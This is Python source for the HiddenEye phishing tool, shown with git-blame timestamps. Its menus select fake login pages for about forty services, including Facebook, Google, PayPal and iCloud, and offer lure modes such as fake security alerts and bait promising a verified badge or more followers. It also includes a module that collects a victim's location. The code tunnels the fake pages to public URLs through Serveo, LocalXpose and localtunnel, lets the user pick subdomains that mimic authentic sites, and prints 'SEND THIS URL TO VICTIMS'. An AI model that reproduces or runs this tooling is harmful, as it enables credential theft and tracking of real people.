{ 0 } http : / / github . com / darksecdevelopers
2019-11-17 00:19:44 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ RANDOM LOCALXPOSE URL ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' .format(MAIN0, MAIN2))
2019-10-27 16:51:30 +08:00
system ( ' ./Server/loclx tunnel http --to : %s > link.url 2> /dev/null & ' % ( port ) )
sleep ( 8 )
try :
2019-11-17 00:19:44 +08:00
output = check_output (
" grep -o ' . \ { 0,0 \ }https. \ { 0,100 \ } ' link.url " , shell = True )
2020-01-08 11:37:46 +08:00
url = output . decode ( ' utf-8 ' )
2019-11-18 18:00:29 +08:00
print ( " \n {0} [ {1} ! {0} ] {1} SEND THIS LOCALXPOSE URL TO VICTIMS- \n \n {0} [ {1} * {0} ] {1} Localhost URL: {2} http://127.0.0.1: {3} \n {0} [ {1} * {0} ] {1} LOCALXPOSE URL: {2} {4} {1} " . format (
MAIN0 , MAIN4 , MAIN3 , port , url ) + " {1} " . format ( MAIN0 , MAIN4 , MAIN3 ) )
2019-10-27 16:51:30 +08:00
print ( " \n " )
except CalledProcessError :
sleep ( 4 )
system ( ' clear ' )
return randomLocalxpose ( port )
2019-11-17 00:19:44 +08:00
2019-07-30 19:24:16 +08:00
def runServeo ( port ) :
2019-11-17 00:19:44 +08:00
print ( '''
2019-03-07 10:41:28 +08:00
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2019-11-17 00:19:44 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ SERVEO URL TYPE SELECTION ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ { 1 } ! { 0 } ] { 1 } REMEMBER ? Serveo Don ' t Allows Phishing. \n {0} [ {1} ! {0} ] {1} They Drops The Connection Whenever Detects Phishing. ' ' ' . format ( MAIN0 , MAIN2 ) )
print ( " \n {0} [ {1} * {0} ] {0} CHOOSE ANY SERVEO URL TYPE TO GENERATE PHISHING LINK: {1} " . format ( MAIN0 , MAIN2 ) )
print ( " \n {0} [ {1} 1 {0} ] {1} Custom URL {0} (Generates designed url) \n {0} [ {1} 2 {0} ] {1} Random URL {0} (Generates Random url) " . format ( MAIN0 , MAIN2 ) )
2019-05-05 21:20:45 +08:00
choice = input ( " \n \n {0} YOUR CHOICE >>> {2} " . format ( MAIN0 , MAIN4 , MAIN2 ) )
2019-04-19 22:36:23 +08:00
system ( ' clear ' )
if choice == ' 1 ' :
2019-05-05 21:20:45 +08:00
2019-07-30 19:24:16 +08:00
customServeo ( port )
2019-04-19 22:36:23 +08:00
elif choice == ' 2 ' :
2019-07-30 19:24:16 +08:00
randomServeo ( port )
2019-04-19 22:36:23 +08:00
else :
2019-03-07 10:41:28 +08:00
system ( ' clear ' )
2019-07-30 19:24:16 +08:00
return runServeo ( port )
2019-05-05 21:20:45 +08:00
2019-11-17 00:19:44 +08:00
2019-07-30 19:24:16 +08:00
def customServeo ( port ) :
2019-05-05 21:20:45 +08:00
2019-11-17 00:19:44 +08:00
print ( '''
2019-01-28 06:45:33 +08:00
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2019-11-17 00:19:44 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ CREATE A CUSTOM URL HERE ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n \n { 0 } [ { 1 } ! { 0 } ] { 1 } YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL . \n \n { 0 } Insert a custom subdomain for serveo ''' .format(MAIN0, MAIN2))
lnk = input ( " \n {0} CUSTOM Subdomain>>> {2} " . format ( MAIN0 , MAIN4 , MAIN2 ) )
2018-12-07 11:59:05 +08:00
if not " .serveo.net " in lnk :
lnk + = " .serveo.net "
else :
pass
2019-07-30 19:24:16 +08:00
system ( ' ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=60 -R %s :80:localhost: %s serveo.net > link.url 2> /dev/null & ' % ( lnk , port ) )
2018-10-29 03:49:19 +08:00
sleep ( 7 )
2018-11-01 13:27:14 +08:00
try :
2019-11-17 00:19:44 +08:00
output = check_output (
" grep -o ' . \ { 0,0 \ }http. \ { 0,100 \ } ' link.url " , shell = True )
2020-01-08 11:37:46 +08:00
url = output . decode ( " utf-8 " )
2019-04-21 18:15:55 +08:00
system ( ' clear ' )
2019-11-17 00:19:44 +08:00
print ( '''
2019-04-21 18:15:55 +08:00
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2019-11-17 00:19:44 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ CUSTOM SERVEO URL ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' .format(MAIN0, MAIN2))
print ( " \n {0} [ {1} ! {0} ] {1} SEND THIS SERVEO URL TO VICTIMS- \n {0} [ {1} * {0} ] {1} Localhost URL: {2} http://127.0.0.1: {3} \n {0} [ {1} * {0} ] {1} SERVEO URL: {2} " . format (
MAIN0 , MAIN2 , MAIN3 , port ) + url + " {1} " . format ( MAIN0 , MAIN4 , MAIN3 ) )
2018-11-29 04:56:33 +08:00
print ( " \n " )
2019-05-05 21:20:45 +08:00
2018-12-07 11:59:05 +08:00
except CalledProcessError :
2019-11-17 00:19:44 +08:00
print ( ''' \n \n {0} FAILED TO GET THIS DOMAIN. !!! \n \n {0} LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!! \n \n {0} [ {1} ! {0} ]TRY TO SELECT ANOTHER CUSTOM DOMAIN {1} (GOING BACK).. !! \n
''' .format(MAIN0, MAIN4))
2019-02-24 23:18:02 +08:00
sleep ( 4 )
system ( ' clear ' )
2019-07-30 19:24:16 +08:00
return customServeo ( port )
2019-05-05 21:20:45 +08:00
2019-11-17 00:19:44 +08:00
2019-07-30 19:24:16 +08:00
def randomServeo ( port ) :
2019-03-07 10:41:28 +08:00
system ( ' clear ' )
2019-11-17 00:19:44 +08:00
print ( '''
2019-03-07 10:41:28 +08:00
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2019-11-17 00:19:44 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ RANDOM SERVEO URL ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' .format(MAIN0, MAIN2))
2019-07-30 19:24:16 +08:00
system ( ' ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost: %s serveo.net > link.url 2> /dev/null & ' % ( port ) )
2019-03-07 10:41:28 +08:00
sleep ( 8 )
try :
2019-11-17 00:19:44 +08:00
output = check_output (
" grep -o ' . \ { 0,0 \ }http. \ { 0,100 \ } ' link.url " , shell = True )
2020-01-08 11:37:46 +08:00
url = output . decode ( " utf-8 " )
2019-11-17 00:19:44 +08:00
print ( " \n {0} [ {1} ! {0} ] {1} SEND THIS SERVEO URL TO VICTIMS- \n \n {0} [ {1} * {0} ] {1} Localhost URL: {2} http://127.0.0.1: {3} \n {0} [ {1} * {0} ] {1} SERVEO URL: {2} " . format (
MAIN0 , MAIN4 , MAIN3 , port ) + url + " {1} " . format ( MAIN0 , MAIN4 , MAIN3 ) )
2019-03-07 10:41:28 +08:00
print ( " \n " )
2019-05-05 21:20:45 +08:00
except CalledProcessError :
2019-03-07 10:41:28 +08:00
sleep ( 4 )
system ( ' clear ' )
2019-07-30 19:24:16 +08:00
return randomServeo ( port )
2019-02-27 22:44:19 +08:00
2019-11-17 00:19:44 +08:00
def runLT ( port , npm ) :
2019-11-16 16:51:49 +08:00
system ( ' clear ' )
2019-11-17 00:19:44 +08:00
print ( '''
2019-11-16 16:51:49 +08:00
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2019-11-17 00:19:44 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ LOCALTUNNEL URL ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' .format(MAIN0, MAIN2))
print (
" \n {0} [ {1} * {0} ] {0} SELECT ANY URL TYPE TO GENERATE PHISHING LINK: {1} " . format ( MAIN0 , MAIN2 ) )
print ( " \n {0} [ {1} + {0} ] {1} Type Subdomain for Custom URL. \n {0} [ {1} + {0} ] {1} Leave Empty For Random URL " . format ( MAIN0 , MAIN2 ) )
s = input ( ' \n {0} (Localtunnel/Subdomain)> {2} ' . format ( MAIN0 , MAIN4 , MAIN2 ) )
2019-11-16 16:51:49 +08:00
try :
2019-11-17 00:19:44 +08:00
system ( ' {0} lt -p ' . format ( ' ' if npm else ' Server/ ' ) +
port + ( ( ' -s ' + s ) if s != ' ' else s ) + ' > link.url & ' )
2019-11-16 16:51:49 +08:00
sleep ( 3 )
system ( ' clear ' )
2019-11-17 00:19:44 +08:00
print ( '''
2019-11-16 16:51:49 +08:00
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2019-11-17 00:19:44 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ LOCALTUNNEL URL ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' .format(MAIN0, MAIN2))
print ( " \n {0} [ {1} ! {0} ] {1} SEND THIS SERVEO URL TO VICTIMS- \n \n {0} [ {1} * {0} ] {1} Localhost URL: {2} http://127.0.0.1: {3} \n {0} [ {1} * {0} ] {1} LOCALTUNNEL URL: {2} {4} " . format (
MAIN0 , MAIN2 , MAIN3 , port , str ( check_output ( " grep -o ' . \ { 0,0 \ }https. \ { 0,100 \ } ' link.url " , shell = True ) ) . strip ( " b ' \ n r " ) ) )
2019-11-16 16:51:49 +08:00
except CalledProcessError :
system ( ' clear ' )
2019-11-17 00:19:44 +08:00
print ( '''
2019-11-16 16:51:49 +08:00
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2019-11-17 00:19:44 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ LOCALTUNNEL URL ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' .format(MAIN0, MAIN2))
2019-11-16 16:51:49 +08:00
print ( ' {0} error[invalid/preoccupied] {0} ' . format ( MAIN0 ) )
2019-11-17 00:19:44 +08:00
runLT ( port , npm )
2019-11-16 16:51:49 +08:00
2019-11-17 00:19:44 +08:00
def runMainMenu ( ) : # menu where user select what they wanna use
# Terms Of Service
2020-05-02 20:17:58 +08:00
sleep ( 6 )
system ( ' clear ' )
orange = ' \033 [33m '
blue = ' \033 [34m '
purple = ' \033 [35m '
red = ' \033 [31m '
print ( " \n \n \n {2} WITH GREAT {1} POWER {3} - {2} COMES GREAT {1} RESPONSIBILITY " . format ( orange , red , purple , blue ) )
if input ( " \n \n \n \n {2} [ {1} ! {2} ] {3} Do you agree to use this tool for educational/testing purposes only? {1} ( {0} Y {1} / {2} N {1} ) \n {2} HiddenEye >>> {0} " . format ( MAIN2 , MAIN4 , MAIN0 , orange ) ) . upper ( ) != ' Y ' :
2019-01-28 06:45:33 +08:00
system ( ' clear ' )
2020-01-08 09:18:21 +08:00
print ( " \n \n [ {0} YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE.! {1} ] \n \n " . format ( MAIN0 , MAIN4 ) )
2019-11-17 00:19:44 +08:00
exit ( )
2019-01-28 06:45:33 +08:00
2019-04-21 18:15:55 +08:00
def mainMenu ( ) :
2018-10-29 03:49:19 +08:00
system ( ' clear ' )
2020-01-19 22:04:54 +08:00
with open ( ' version.txt ' ) as f :
ver_current = f . read ( )
version = ver_current . strip ( )
2019-11-17 00:19:44 +08:00
print ( '''
2019-05-05 21:20:45 +08:00
2019-04-19 22:36:23 +08:00
{ 2 } █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ { 3 } █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ { 1 }
{ 2 } █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ { 3 } █ █ █ █ █ █ █ █ { 1 }
{ 2 } █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ { 3 } █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ { 1 }
{ 2 } █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ { 3 } █ █ █ █ █ █ { 1 }
{ 2 } █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ { 3 } █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ { 1 }
2020-01-19 22:04:54 +08:00
{ 3 } [ { 1 } v { 4 } { 3 } ] { 1 } BY : DARKSEC { 2 }
2019-04-19 22:36:23 +08:00
{ 3 } [ { 2 } Modern Phishing Tool With Advanced Functionality { 3 } ]
2019-04-21 18:15:55 +08:00
{ 3 } [ { 2 } PHISHING - KEYLOGGER - INFORMATION COLLECTOR - ALL_IN_ONE_TOOL - SOCIALENGINEERING { 3 } ]
2020-01-19 22:04:54 +08:00
________________________________________________________________________________ ''' .format(MAIN3, MAIN4, MAIN2, MAIN0, version))
2019-11-17 00:19:44 +08:00
print ( " ------------------------ \n SELECT ANY ATTACK VECTOR FOR YOUR VICTIM: \n ------------------------ " . format ( MAIN0 , MAIN2 ) )
2020-01-20 16:27:13 +08:00
print ( " \n {0} PHISHING-MODULES: " . format ( MAIN0 , MAIN2 ) )
2020-01-08 09:18:21 +08:00
print ( " {0} [ {1} 01 {0} ] {1} Facebook {0} [ {1} 13 {0} ] {1} Steam {0} [ {1} 25 {0} ] {1} Badoo {0} [ {1} 37 {0} ] {1} PlayStation " . format ( MAIN0 , MAIN2 ) )
print ( " {0} [ {1} 02 {0} ] {1} Google {0} [ {1} 14 {0} ] {1} VK {0} [ {1} 26 {0} ] {1} CryptoCurrency {0} [ {1} 38 {0} ] {1} Xbox " . format (
2019-11-17 00:19:44 +08:00
MAIN0 , MAIN2 ) )
2020-01-08 09:18:21 +08:00
print ( " {0} [ {1} 03 {0} ] {1} LinkedIn {0} [ {1} 15 {0} ] {1} iCloud {0} [ {1} 27 {0} ] {1} DevianArt {0} [ {1} 39 {0} ] {1} CUSTOM(1) " . format (
2019-11-17 00:19:44 +08:00
MAIN0 , MAIN2 ) )
2020-01-08 09:18:21 +08:00
print ( " {0} [ {1} 04 {0} ] {1} GitHub {0} [ {1} 16 {0} ] {1} GitLab {0} [ {1} 28 {0} ] {1} DropBox {0} [ {1} 40 {0} ] {1} CUSTOM(2) " . format (
2019-11-17 00:19:44 +08:00
MAIN0 , MAIN2 ) )
2020-01-08 09:18:21 +08:00
print ( " {0} [ {1} 05 {0} ] {1} StackOverflow {0} [ {1} 17 {0} ] {1} Netflix {0} [ {1} 29 {0} ] {1} eBay " . format (
2019-11-17 00:19:44 +08:00
MAIN0 , MAIN2 ) )
2020-01-08 09:18:21 +08:00
print ( " {0} [ {1} 06 {0} ] {1} WordPress {0} [ {1} 18 {0} ] {1} Origin {0} [ {1} 30 {0} ] {1} MySpace " . format (
2019-11-17 00:19:44 +08:00
MAIN0 , MAIN2 ) )
2020-01-08 09:18:21 +08:00
print ( " {0} [ {1} 07 {0} ] {1} Twitter {0} [ {1} 19 {0} ] {1} Pinterest {0} [ {1} 31 {0} ] {1} PayPal " . format (
2019-11-17 00:19:44 +08:00
MAIN0 , MAIN2 ) )
2020-01-08 09:18:21 +08:00
print ( " {0} [ {1} 08 {0} ] {1} Instagram {0} [ {1} 20 {0} ] {1} ProtonMail {0} [ {1} 32 {0} ] {1} Shopify " . format (
2019-11-17 00:19:44 +08:00
MAIN0 , MAIN2 ) )
2020-01-08 09:18:21 +08:00
print ( " {0} [ {1} 09 {0} ] {1} Snapchat {0} [ {1} 21 {0} ] {1} Spotify {0} [ {1} 33 {0} ] {1} Verizon " . format (
2019-11-17 00:19:44 +08:00
MAIN0 , MAIN2 ) )
print ( " {0} [ {1} 10 {0} ] {1} Yahoo {0} [ {1} 22 {0} ] {1} Quora {0} [ {1} 34 {0} ] {1} Yandex " . format (
MAIN0 , MAIN2 ) )
print ( " {0} [ {1} 11 {0} ] {1} Twitch {0} [ {1} 23 {0} ] {1} PornHub {0} [ {1} 35 {0} ] {1} Reddit " . format (
MAIN0 , MAIN2 ) )
print ( " {0} [ {1} 12 {0} ] {1} Microsoft {0} [ {1} 24 {0} ] {1} Adobe {0} [ {1} 36 {0} ] {1} Subito.it " . format (
MAIN0 , MAIN2 ) )
2020-01-20 16:27:13 +08:00
print ( " \n {0} SOCIAL-ENGINEERING-TOOLS: " . format ( MAIN0 , MAIN2 ) )
print ( " {0} [ {1} A {0} ] {1} Get Victim Location " . format ( MAIN0 , MAIN2 ) )
2019-11-17 00:19:44 +08:00
2020-01-20 16:27:13 +08:00
option = input ( " \n {0} HiddenEye >>> {1} " . format ( MAIN0 , MAIN2 ) )
2020-01-08 09:18:21 +08:00
if option == ' 1 ' or option == ' 01 ' :
2018-10-29 03:49:19 +08:00
loadModule ( ' Facebook ' )
2019-11-17 00:19:44 +08:00
customOption = input ( " \n Operation mode: \n {0} [ {1} 1 {0} ] {1} Standard Page Phishing \n {0} [ {1} 2 {0} ] {1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with) \n {0} [ {1} 3 {0} ] {1} Facebook Phishing- Fake Security issue(security_mode) \n {0} [ {1} 4 {0} ] {1} Facebook Phising-Messenger Credentials(messenger_mode) \n {0} HiddenEye >>> {2} " . format ( MAIN0 , MAIN2 , MAIN2 ) )
2018-10-29 03:49:19 +08:00
runPhishing ( ' Facebook ' , customOption )
2020-01-08 09:18:21 +08:00
elif option == ' 2 ' or option == ' 02 ' :
2018-10-29 03:49:19 +08:00
loadModule ( ' Google ' )
2019-11-17 00:19:44 +08:00
customOption = input (
" \n Operation mode: \n {0} [ {1} 1 {0} ] {1} Standard Page Phishing \n {0} [ {1} 2 {0} ] {1} Advanced Phishing(poll_mode/login_with) \n {0} [ {1} 3 {0} ] {1} New Google Web \n {0} HiddenEye >>> {2} " . format ( MAIN0 , MAIN2 , MAIN2 ) )
2018-10-29 03:49:19 +08:00
runPhishing ( ' Google ' , customOption )
2020-01-08 09:18:21 +08:00
elif option == ' 3 ' or option == ' 03 ' :
2018-10-29 03:49:19 +08:00
loadModule ( ' LinkedIn ' )
customOption = ' '
runPhishing ( ' LinkedIn ' , customOption )
2020-01-08 09:18:21 +08:00
elif option == ' 4 ' or option == ' 04 ' :
2018-10-29 03:49:19 +08:00
loadModule ( ' GitHub ' )
customOption = ' '
runPhishing ( ' GitHub ' , customOption )
2020-01-08 09:18:21 +08:00
elif option == ' 5 ' or option == ' 05 ' :
2018-10-29 03:49:19 +08:00
loadModule ( ' StackOverflow ' )
customOption = ' '
runPhishing ( ' StackOverflow ' , customOption )
2020-01-08 09:18:21 +08:00
elif option == ' 6 ' or option == ' 06 ' :
2018-10-29 03:49:19 +08:00
loadModule ( ' WordPress ' )
customOption = ' '
runPhishing ( ' WordPress ' , customOption )
2020-01-08 09:18:21 +08:00
elif option == ' 7 ' or option == ' 07 ' :
2018-10-29 03:49:19 +08:00
loadModule ( ' Twitter ' )
customOption = ' '
runPhishing ( ' Twitter ' , customOption )
2020-01-08 09:18:21 +08:00
elif option == ' 8 ' or option == ' 08 ' :
2018-10-29 03:49:19 +08:00
loadModule ( ' Instagram ' )
2019-11-17 00:19:44 +08:00
customOption = input ( " \n Operation mode: \n {0} [ {1} 1 {0} ] {1} Standard Instagram Web Page Phishing \n {0} [ {1} 2 {0} ] {1} Instagram Autoliker Phising (To Lure The Users) \n {0} [ {1} 3 {0} ] {1} Instagram Advanced Scenario (Appears as Instagram Profile) \n {0} [ {1} 4 {0} ] {1} Instagram Verified Badge Attack (Lure To Get Blue Badge) {1} *[NEW]* \n {0} [ {1} 5 {0} ] {1} Instafollower (Lure To Get More Followers) {1} *[NEW]* \n {0} HiddenEye >>> {2} " . format ( MAIN0 , MAIN2 , MAIN2 ) )
2018-10-29 03:49:19 +08:00
runPhishing ( ' Instagram ' , customOption )
2020-01-08 09:18:21 +08:00
elif option == ' 9 ' or option == ' 09 ' :
2018-10-29 03:49:19 +08:00
loadModule ( ' Snapchat ' )
customOption = ' '
runPhishing ( ' Snapchat ' , customOption )
elif option == ' 10 ' :
loadModule ( ' Yahoo ' )
customOption = ' '
runPhishing ( ' Yahoo ' , customOption )
elif option == ' 11 ' :
loadModule ( ' Twitch ' )
customOption = ' '
runPhishing ( ' Twitch ' , customOption )
elif option == ' 12 ' :
loadModule ( ' Microsoft ' )
customOption = ' '
runPhishing ( ' Microsoft ' , customOption )
elif option == ' 13 ' :
loadModule ( ' Steam ' )
customOption = ' '
runPhishing ( ' Steam ' , customOption )
elif option == ' 14 ' :
loadModule ( ' VK ' )
2019-11-17 00:19:44 +08:00
customOption = input (
" \n Operation mode: \n {0} [ {1} 1 {0} ] {1} Standard VK Web Page Phishing \n {0} [ {1} 2 {0} ] {1} Advanced Phishing(poll_mode/login_with) \n {0} HiddenEye >>> {2} " . format ( MAIN0 , MAIN4 , MAIN2 ) )
2018-10-29 03:49:19 +08:00
runPhishing ( ' VK ' , customOption )
elif option == ' 15 ' :
loadModule ( ' iCloud ' )
customOption = ' '
runPhishing ( ' iCloud ' , customOption )
2019-04-19 22:36:23 +08:00
elif option == ' 16 ' :
loadModule ( ' GitLab ' )
customOption = ' '
2019-05-05 21:20:45 +08:00
runPhishing ( ' GitLab ' , customOption )
2019-04-19 22:36:23 +08:00
elif option == ' 17 ' :
loadModule ( ' NetFlix ' )
customOption = ' '
runPhishing ( ' NetFlix ' , customOption )
elif option == ' 18 ' :
loadModule ( ' Origin ' )
customOption = ' '
runPhishing ( ' Origin ' , customOption )
elif option == ' 19 ' :
loadModule ( ' Pinterest ' )
customOption = ' '
2019-05-05 21:20:45 +08:00
runPhishing ( ' Pinterest ' , customOption )
2019-04-19 22:36:23 +08:00
elif option == ' 20 ' :
loadModule ( ' ProtonMail ' )
customOption = ' '
2019-05-05 21:20:45 +08:00
runPhishing ( ' ProtonMail ' , customOption )
2019-04-19 22:36:23 +08:00
elif option == ' 21 ' :
loadModule ( ' Spotify ' )
customOption = ' '
2019-04-21 18:15:55 +08:00
runPhishing ( ' Spotify ' , customOption )
elif option == ' 22 ' :
loadModule ( ' Quora ' )
customOption = ' '
runPhishing ( ' Quora ' , customOption )
elif option == ' 23 ' :
loadModule ( ' PornHub ' )
customOption = ' '
2019-05-05 21:20:45 +08:00
runPhishing ( ' PornHub ' , customOption )
2019-04-21 18:15:55 +08:00
elif option == ' 24 ' :
loadModule ( ' Adobe ' )
customOption = ' '
2019-05-05 21:20:45 +08:00
runPhishing ( ' Adobe ' , customOption )
2019-04-21 18:15:55 +08:00
elif option == ' 25 ' :
loadModule ( ' Badoo ' )
customOption = ' '
2019-05-05 21:20:45 +08:00
runPhishing ( ' Badoo ' , customOption )
2019-04-21 18:15:55 +08:00
elif option == ' 26 ' :
loadModule ( ' CryptoCurrency ' )
customOption = ' '
2019-05-05 21:20:45 +08:00
runPhishing ( ' CryptoCurrency ' , customOption )
2019-04-21 18:15:55 +08:00
elif option == ' 27 ' :
loadModule ( ' DevianArt ' )
customOption = ' '
2019-05-05 21:20:45 +08:00
runPhishing ( ' DevianArt ' , customOption )
2019-04-21 18:15:55 +08:00
elif option == ' 28 ' :
loadModule ( ' DropBox ' )
customOption = ' '
2019-05-05 21:20:45 +08:00
runPhishing ( ' DropBox ' , customOption )
2019-04-21 18:15:55 +08:00
elif option == ' 29 ' :
loadModule ( ' eBay ' )
customOption = ' '
2019-05-05 21:20:45 +08:00
runPhishing ( ' eBay ' , customOption )
2019-04-21 18:15:55 +08:00
elif option == ' 30 ' :
loadModule ( ' MySpace ' )
customOption = ' '
2019-05-05 21:20:45 +08:00
runPhishing ( ' Myspace ' , customOption )
2019-04-21 18:15:55 +08:00
elif option == ' 31 ' :
loadModule ( ' PayPal ' )
customOption = ' '
2019-05-05 21:20:45 +08:00
runPhishing ( ' PayPal ' , customOption )
2019-04-21 18:15:55 +08:00
elif option == ' 32 ' :
loadModule ( ' Shopify ' )
customOption = ' '
2019-05-05 21:20:45 +08:00
runPhishing ( ' Shopify ' , customOption )
2019-04-21 18:15:55 +08:00
elif option == ' 33 ' :
loadModule ( ' Verizon ' )
customOption = ' '
2019-05-05 21:20:45 +08:00
runPhishing ( ' Verizon ' , customOption )
2019-04-21 18:15:55 +08:00
elif option == ' 34 ' :
loadModule ( ' Yandex ' )
customOption = ' '
2019-05-05 21:20:45 +08:00
runPhishing ( ' Yandex ' , customOption )
2019-07-12 13:59:08 +08:00
elif option == ' 35 ' :
loadModule ( ' Reddit ' )
2019-11-17 00:19:44 +08:00
customOption = input (
" \n Operation mode: \n {0} [ {1} 1 {0} ] {1} New reddit page \n {0} [ {1} 2 {0} ] {1} Old reddit page \n {0} HiddenEye >>> {2} " . format ( MAIN0 , MAIN2 , MAIN2 ) )
2019-07-12 13:59:08 +08:00
runPhishing ( ' Reddit ' , customOption )
2019-10-25 23:47:46 +08:00
elif option == ' 36 ' :
loadModule ( ' Subitoit ' )
customOption = ' '
runPhishing ( ' Subitoit ' , customOption )
2019-10-30 03:14:29 +08:00
elif option == ' 37 ' :
loadModule ( ' PlayStation ' )
customOption = ' '
runPhishing ( ' PlayStation ' , customOption )
2019-11-18 18:00:29 +08:00
elif option == ' 38 ' :
loadModule ( ' Xbox ' )
customOption = ' '
runPhishing ( ' Xbox ' , customOption )
2020-01-08 09:18:21 +08:00
elif option == ' 39 ' :
loadModule ( ' CUSTOM(1) ' )
customOption = ' '
runPhishing ( ' CUSTOM(1) ' , customOption )
elif option == ' 40 ' :
loadModule ( ' CUSTOM(2) ' )
customOption = ' '
runPhishing ( ' CUSTOM(2) ' , customOption )
2020-01-20 16:27:13 +08:00
#Below Are Tools And Above Are Phishing Modules..
elif option == ' A ' or option == ' a ' :
loadModule ( ' LOCATION ' )
customOption = input (
" \n Operation mode: \n {0} [ {1} 1 {0} ] {1} NEAR YOU (Webpage Looks Like Legitimate) \n {0} [ {1} 2 {0} ] {1} GDRIVE (Asks For Location Permission To redirect GDRIVE) \n \n {0} HiddenEye >>> {2} " . format ( MAIN0 , MAIN2 , MAIN2 ) )
runPhishing ( ' LOCATION ' , customOption )
2018-10-29 03:49:19 +08:00
else :
2020-01-10 13:07:18 +08:00
endMessage ( port )
2018-10-29 03:49:19 +08:00
2019-11-17 00:19:44 +08:00
def loadModule ( module ) : # This one just show text..
2020-01-20 16:27:13 +08:00
print ( ''' \n {0}
2019-11-17 00:19:44 +08:00
[ { 1 } * { 0 } ] SELECT ANY ONE MODE . . . { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' .format(MAIN0, MAIN2))
def inputCustom ( ) : # Question where user can input custom web-link
system ( ' clear ' )
print ( ''' {1}
2019-04-19 22:36:23 +08:00
_ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
2019-01-28 06:45:33 +08:00
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2019-11-17 00:19:44 +08:00
